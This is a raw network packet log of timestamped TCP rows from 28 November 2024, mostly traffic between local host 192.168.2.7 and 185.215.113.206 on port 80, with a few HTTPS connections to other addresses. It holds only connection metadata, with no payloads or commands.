Nov 28, 2024 11:05:31.671327114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.671375036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.672246933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.672478914 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.672765970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.673259974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.673319101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.673428059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.674314022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.674356937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.674475908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.675399065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.675513029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.675558090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.676444054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.676455021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.676492929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.679874897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.679918051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.681154013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681168079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681180954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681195021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681231022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.681272030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.681597948 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681746960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681757927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.681798935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.682758093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.682771921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.683098078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.683758020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.684807062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.684819937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.684880972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.684938908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.685051918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.685833931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.685847044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.686064959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.686852932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.686901093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.687195063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.687236071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.687551975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.687570095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.687592983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.687611103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.687918901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.687961102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.688121080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.688160896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.688983917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.689026117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.689301014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.689343929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.690085888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.690134048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.690169096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.690237999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.691128969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.691169024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.691303015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.691345930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.692162037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.692269087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.692415953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.693166018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.693207979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.693226099 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:31.693341017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.693444967 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:31.694077969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.694077969 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:31.694253922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.694266081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.694303989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.694334030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.694705009 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:31.694715023 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:31.694732904 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:31.694737911 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:31.696202993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.696217060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.696594954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.696649075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.696660995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.696729898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.696729898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.697429895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.697478056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.697681904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.697727919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.698399067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.698949099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.699004889 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.699450970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.699831009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.700217009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.700263977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.700525045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.700536966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.700568914 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.701564074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.701598883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.701605082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.701637030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.702586889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.702630997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.702666998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.702739000 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.703648090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.703690052 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.703943014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.703984022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.704688072 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.704736948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.705209970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.705707073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.705801964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.705848932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.706790924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.706835032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.706849098 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.706962109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.707956076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.707968950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.708014965 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.708961010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.708972931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.709005117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.710032940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.710078001 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.710141897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.710207939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.711015940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.711029053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.711055994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.711072922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.712045908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.712088108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.858309031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.858453035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.858517885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.858895063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.858938932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.858999014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.859150887 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.859628916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.859671116 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.860327005 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.860367060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.860665083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.860703945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.860852003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.860893011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.861742973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.861782074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.862380981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.862423897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.862746000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.862788916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.863441944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.863487959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.863840103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.863852024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.863882065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.864855051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.864893913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.865907907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.865920067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.865947962 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.865972042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.866055012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.866934061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.866976023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.868009090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.868021965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.868051052 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.868078947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.868089914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.868288040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.869019032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.869056940 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.869749069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.870066881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.870136023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.870147943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.870194912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.871131897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.871180058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.871217012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.871345043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.872253895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.872266054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.872293949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.873301983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.873313904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.873342991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.874284983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.874326944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.874752045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.874793053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.875305891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.875344992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.875906944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.875947952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.876420021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.876435995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.876461029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.876491070 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.877418995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.877460957 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.878520012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.878532887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.878562927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.878568888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.878604889 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.879585981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.879628897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.880624056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.880635977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.880661011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.880665064 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.880693913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.881655931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.881702900 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.882709026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.882723093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.882734060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.882755041 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.882788897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.883697033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.883738041 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.883987904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.884027958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.884803057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.884815931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.884849072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.885806084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.886065960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.886234999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.886521101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.886872053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.886919975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.887940884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.887953997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.887984991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.887994051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.888008118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.888030052 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.889007092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.889019966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.889051914 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.890005112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.890065908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.890578985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.890623093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.891052008 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.891093969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.892266989 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.892281055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.892293930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.892321110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.892343044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.893218040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.893263102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.894001961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.894047022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.894212961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.894227028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.894269943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.895246029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.895291090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.895565033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.895689011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.896303892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.896346092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.897388935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.897403955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.897414923 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.897445917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.898412943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.898478985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.898940086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.899149895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.899518013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.899532080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.899636984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.900501966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.900775909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.901071072 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.901207924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.901626110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.901652098 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.901674032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.901758909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.902591944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.902636051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.902676105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.902756929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.903649092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.903740883 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.903775930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.903814077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.904922962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.904966116 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.905085087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.905175924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.906126976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.906140089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.906204939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.907275915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.907289982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.907383919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.908592939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.908606052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.908687115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.909548998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.909595966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.909636974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.909758091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.910644054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.910655975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.910738945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.911636114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.911684990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.912324905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.912353039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.912470102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.913146973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.913213968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.913368940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.913428068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.037724972 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:32.037796021 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:32.037957907 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:32.038167953 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:32.038184881 CET	443	49856	4.152.133.8	192.168.2.7
